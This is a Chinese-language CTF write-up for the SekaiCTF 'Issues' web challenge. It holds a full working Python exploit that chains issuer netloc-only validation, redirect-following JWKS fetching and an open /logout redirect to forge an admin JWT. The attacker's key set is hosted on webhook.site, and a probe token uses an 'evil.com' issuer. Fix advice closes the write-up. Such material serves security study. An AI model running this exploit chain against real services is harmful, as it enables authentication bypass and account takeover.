Issues-wp

Zengan 2026-09-17 13:59:23 7 0 返回题目详情


# Issues


> 题面:Can you become an admin and get the flag?

> 实例:`http://49.232.142.230:18220`(官方源码:[project-sekai-ctf/sekaictf-2022 → web/issues](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/issues))


## Summary


`/api/*` 用 RS256 JWT 鉴权,但 header 里 `issuer` **只校验 netloc**,公钥却从 `{issuer}/.well-known/jwks.json` 拉取且 `requests.get` 默认跟随重定向;`/logout?redirect=` 又是**完全开放的 302**。三者组合:让 issuer 的 netloc 仍是合法域名、其余部分把服务端 302 到攻击者控制的伪 `jwks.json` —— 于是用自己生成的 RSA 密钥签发 `{"user":"admin"}` 的 JWT 就能通过 `/api/flag` 的鉴权拿 flag。


## 源码关键点


```python

# api.py —— issuer 仅校验 netloc,公钥 URL 直接把整个 issuer 拼进去

is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain

pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer)


# api.py —— requests 默认跟随重定向;公钥取 keys[0].x5c[0]

resp = requests.get(url) # ← 跟随 302!

key = resp.json()["keys"][0]["x5c"][0]


# app.py —— /logout 完全开放重定向

redirect_uri = request.args.get('redirect', url_for('home'))

return redirect(redirect_uri)


# app.py —— after_request 把响应体包进 template.html(错误信息也会回显出来)

updated = render_template("template.html", status=response.status_code,

message=response.response[0].decode())

```


默认 `HOST=localhost:8080`(Dockerfile),但部署实例可能覆盖 —— 需要先确认。


## Solution


### Step 1: 套出部署实例的真实 HOST


`get_unverified_header()` 只 base64 解析 JWT 头、**不验签**,而 issuer 校验失败会抛出

`Invalid issuer netloc: x. Should be: <HOST>`,经 errorhandler(500)+ `after_request` 回显在 HTML 里。

所以随便发一个 netloc 不匹配的假头即可:


```bash

b64u() { openssl base64 -A | tr '+/' '-_' | tr -d '='; }

tok="$(printf '{"alg":"RS256","issuer":"http://evil.com","typ":"JWT"}' | b64u).$(printf '{}' | b64u).$(printf 'sig' | b64u)"

curl -s http://49.232.142.230:18220/api/flag -H "Authorization: Bearer $tok" | grep -o 'Should be: [^<]*'

# → Invalid issuer netloc: evil.com. Should be: localhost:8080

```


实际回显(证据 `/tmp/issues_exp/host_leak5.html`):**HOST = `localhost:8080`**(Dockerfile 默认值未被覆盖)。


### Step 2: 部署伪 JWKS → 签发 admin JWT → 取 flag(完整脚本)


```python

#!/usr/bin/env python3

# pip install requests pyjwt cryptography

import base64, json, re, requests, jwt

from cryptography.hazmat.primitives.asymmetric import rsa

from cryptography.hazmat.primitives import serialization


TARGET = "http://49.232.142.230:18220"

b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()


# ---- 1. 套出真实 HOST(issuer netloc 不匹配即可触发回显,无需有效签名)----

hdr = {"alg": "RS256", "typ": "JWT", "issuer": "http://evil.com"}

probe = f"{b64u(json.dumps(hdr).encode())}.{b64u(b'{}')}.{b64u(b'A'*64)}"

r = requests.get(f"{TARGET}/api/flag", headers={"Authorization": f"Bearer {probe}"})

host = re.search(r"Should be: ([^\s<]+)", r.text).group(1)

print(f"[+] valid issuer netloc (HOST) = {host}")


# ---- 2. 生成 RSA 密钥对与伪 jwks.json ----

key = rsa.generate_private_key(public_exponent=65537, key_size=2048)

der = key.public_key().public_bytes(serialization.Encoding.DER,

serialization.PublicFormat.SubjectPublicKeyInfo)

# x5c 必须与官方 jwks 同构:64 字符换行、结尾不能带换行(尾部 \n 会让 cryptography 报

# 'Could not deserialize key data')

x5c = base64.encodebytes(der).decode().rstrip("\n")

jwks = {"keys": [{"alg": "RS256", "x5c": [x5c]}]}

pem = key.private_bytes(serialization.Encoding.PEM,

serialization.PrivateFormat.PKCS8,

serialization.NoEncryption()).decode()


# ---- 3. 部署伪 jwks 到 webhook.site(任意路径都返回 default_content)----

uuid = requests.post("https://webhook.site/token", json={}).json()["uuid"]

requests.put(f"https://webhook.site/token/{uuid}", json={

"default_status": 200,

"default_content_type": "application/json",

"default_content": json.dumps(jwks), # jwks 原文作为默认响应体

})

got = requests.get(f"https://webhook.site/{uuid}/.well-known/jwks.json").json()

assert got == jwks, "webhook 内容不一致"

print(f"[+] fake jwks deployed: https://webhook.site/{uuid}")


# ---- 4. 构造 issuer:netloc 合法 + /logout 把服务端 302 到伪 jwks ----

issuer = f"http://{host}/logout?redirect=https://webhook.site/{uuid}"

# 服务端实际请求: http://<HOST>/logout?redirect=https://webhook.site/<uuid>/.well-known/jwks.json

# → 302 到 https://webhook.site/<uuid>/.well-known/jwks.json → 拿到我们的伪 jwks

tok = jwt.encode({"user": "admin"}, pem, algorithm="RS256", headers={"issuer": issuer})

print(f"[+] forged admin JWT:\n{tok}")


# ---- 5. 访问 /api/flag ----

r = requests.get(f"{TARGET}/api/flag", headers={"Authorization": f"Bearer {tok}"})

print(f"[+] /api/flag → HTTP {r.status_code}")

print("[+] FLAG:", re.search(r"SEKAI\{[^}]+\}", r.text).group(0))

```


运行结果:


```text

[+] valid issuer netloc (HOST) = localhost:8080

[+] fake jwks deployed: https://webhook.site/12626fc3-e5c8-42cd-b29d-950eccdaa21a

[+] /api/flag → HTTP 200

[+] FLAG: SEKAI{v4l1d4t3_y0ur_i55u3r_plz}

```


最终响应(`/api/flag` 的 body 被 `after_request` 包进模板后就是一面"旗子墙"):


```html

<h1 class="inline-block text-left w-fit">

<span class="my-4 text-xl font-semibold">HTTP 200</span><br>

<span class="my-4 text-5xl font-bold">SEKAI{v4l1d4t3_y0ur_i55u3r_plz}</span>

</h1>

```


### 已有 JWT 直接复现


```bash

curl -s http://49.232.142.230:18220/api/flag \

-H "Authorization: Bearer $(cat /tmp/issues_exp/admin.jwt)"

```


## 踩坑记录


- **x5c 结尾换行**:`base64.encodebytes()` 的尾部 `\n` 若原样放进 x5c,服务端拼出的 PEM 会让 cryptography 报 `Could not deserialize key data` —— 记得 `rstrip("\n")`(内部换行保留无妨)。

- **手工拼探测 JWT**:三段必须都是合法 base64url(`-`/`_` 字母表、去掉 `=`),否则在 issuer 校验前就报 `Invalid crypto padding`。

- **webhook.site 不需要结尾 `?` 技巧**:它对任意路径都返回 default_content,所以 redirect 里直接给 `https://webhook.site/<uuid>` 即可;若换成只认精确路径的 JSON 托管服务,redirect 值要以 `?` 结尾,把 `/.well-known/jwks.json` 挤进 query。

- payload 只要 `{"user":"admin"}`,服务端只查这一个 claim,不验 `exp`/`aud`。


## 修复建议


1. `issuer` 应整段校验(或只信任固定白名单 URL),而不是仅比较 netloc;

2. 拉取 JWKS 时禁用重定向(`requests.get(url, allow_redirects=False)`);

3. `/logout` 的 redirect 应限制为站内相对路径;

4. 错误信息不应回显内部配置(`Should be: <HOST>` 直接泄露了合法 issuer)。


## Flag


```

SEKAI{v4l1d4t3_y0ur_i55u3r_plz}

```

分类:WEB
image
作者:Zengan

8

提交

0

收入

相关WriteUP

问题反馈